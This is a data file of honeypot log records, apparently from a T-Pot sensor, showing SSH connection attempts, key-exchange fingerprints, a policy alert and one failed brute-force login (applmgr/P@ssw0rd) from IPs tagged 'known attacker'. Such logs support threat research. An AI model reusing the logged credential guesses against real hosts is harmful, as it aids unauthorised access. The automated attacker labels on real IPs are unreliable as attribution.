34806	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:04:13.111226+03	2021-09-20 15:15:02.39169+03	{"_id": "PAYXA3wBvYTbRNuEpVhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 2210479958956952, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49916, "dest_port": 22, "timestamp": "2021-09-20T12:04:13.111226Z", "@timestamp": "2021-09-20T12:04:13.111Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34807	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:04:13.111303+03	2021-09-20 15:15:02.39269+03	{"_id": "PgYXA3wBvYTbRNuEpVhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:12.564120+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2210479958956952, "payload": "AAADzAYUc05pixyAkOJ7OqqyzpBjWQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49916, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:13.111303Z", "@timestamp": "2021-09-20T12:04:13.111Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......sNi.....{:....cY...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34808	117.22.230.94	109.199.241.180	Fatt	2021-09-20 15:04:13.655421+03	2021-09-20 15:15:02.393691+03	{"_id": "PwYXA3wBvYTbRNuEplhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2136, "dest_port": 22, "timestamp": "2021-09-20T12:04:13.655421", "@timestamp": "2021-09-20T12:04:13.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34814	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:04:15.031003+03	2021-09-20 15:15:02.402689+03	{"_id": "UAYXA3wBvYTbRNuErFga", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6975ebfd06c9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:15.031003Z", "@timestamp": "2021-09-20T12:04:15.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34815	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:04:15.308206+03	2021-09-20 15:15:02.40469+03	{"_id": "VQYXA3wBvYTbRNuErVg8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:14.751980+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 919666192972140, "payload": "AAADzAYUAXPmQDSxnYjd4GCKcY/KZgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38278, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:15.308206Z", "@timestamp": "2021-09-20T12:04:15.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......s.@4.....`.q..f...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34809	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:13.383841+03	2021-09-20 15:15:02.39569+03	{"_id": "RAYXA3wBvYTbRNuEpljO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2136, "timestamp": "2021-09-20T12:04:13.383841", "@timestamp": "2021-09-20T12:04:13.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34810	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:04:13.656037+03	2021-09-20 15:15:02.396691+03	{"_id": "SAYXA3wBvYTbRNuEqFgy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d9ef34f82323", "@version": "1", "timestamp": "2021-09-20T12:04:13.656037Z", "@timestamp": "2021-09-20T12:04:13.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34811	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:04:14.841707+03	2021-09-20 15:15:02.398691+03	{"_id": "UQYXA3wBvYTbRNuErFga", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [applmgr/P@ssw0rd] failed", "session": "d9ef34f82323", "@version": "1", "password": "P@ssw0rd", "username": "applmgr", "timestamp": "2021-09-20T12:04:14.841707Z", "@timestamp": "2021-09-20T12:04:14.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34812	117.22.230.94	109.199.241.180	Suricata	2021-09-20 15:04:13.654838+03	2021-09-20 15:15:02.399689+03	{"_id": "PQYXA3wBvYTbRNuEpVhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1412608179411450, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2136, "dest_port": 22, "timestamp": "2021-09-20T12:04:13.654838Z", "@timestamp": "2021-09-20T12:04:13.654Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34813	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:12.841831+03	2021-09-20 15:15:02.40169+03	{"_id": "QQYXA3wBvYTbRNuEpljN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49916, "timestamp": "2021-09-20T12:04:12.841831", "@timestamp": "2021-09-20T12:04:12.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34816	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:15.031928+03	2021-09-20 15:15:02.40569+03	{"_id": "VwYXA3wBvYTbRNuErlhC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38278, "timestamp": "2021-09-20T12:04:15.031928", "@timestamp": "2021-09-20T12:04:15.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
